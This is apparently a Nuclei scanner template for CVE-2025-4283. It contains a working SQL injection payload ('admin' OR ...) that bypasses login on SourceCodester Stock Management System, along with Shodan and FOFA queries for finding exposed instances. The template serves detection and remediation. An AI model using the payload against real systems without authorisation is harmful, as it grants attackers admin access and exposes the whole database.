CVE-2025-4283: SourceCodester Stock Management System 1.0 - SQL Injection Authentication Bypass

id: CVE-2025-4283

info:
  name: SourceCodester Stock Management System 1.0 - SQL Injection Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    SourceCodester Stock Management System 1.0 contains a SQL injection vulnerability in the login function at /sms/classes/Login.php. The username parameter is directly interpolated into an SQL query without sanitization, allowing an unauthenticated attacker to bypass authentication and gain admin access via a crafted OR-based payload.
  impact: |
    An unauthenticated remote attacker can bypass authentication and gain administrative access to the Stock Management System, leading to full database compromise.
  remediation: |
    Use prepared statements with parameterized queries for all database interactions. Replace direct string interpolation in SQL queries with PDO or MySQLi prepared statements.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4283
    - https://github.com/th3w0lf-1337/Vulnerabilities/blob/main/SMS-PHP/SQLi/Auth-Bypass/info.md
    - https://www.sourcecodester.com/php/17aborb/stock-management-system-php.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-4283
    cwe-id: CWE-89
    epss-score: 0.00659
    epss-percentile: 0.52044
  metadata:
    verified: true
    max-request: 2
    vendor: oretnom23
    product: stock_management_system
    fofa-query: title="Stock Management System"
    shodan-query: title:"Stock Management System"
  tags: cve,cve2025,sqli,auth-bypass,sourcecodester,sms,vkev

variables:
  rand: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /sms/classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{rand}}&password={{rand}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"status\":\"incorrect\"")'
        internal: true

  - raw:
      - |
        POST /sms/classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{url_encode("admin' OR '{{rand}}'='{{rand}}")}}&password={{rand}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"status\":\"success\"")'
          - 'status_code == 200'
          - 'contains(to_lower(header), "text/html")'
        condition: and
# digest: 4a0a004730450220496a16d3045b7abf92b1b8b6d8da549b15cf33ad4f8638dc9ca9e50c12ae2898022100bba92757250ee770581e9c0f3ec061e6c340a93f19b55d01707499b75feac95a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.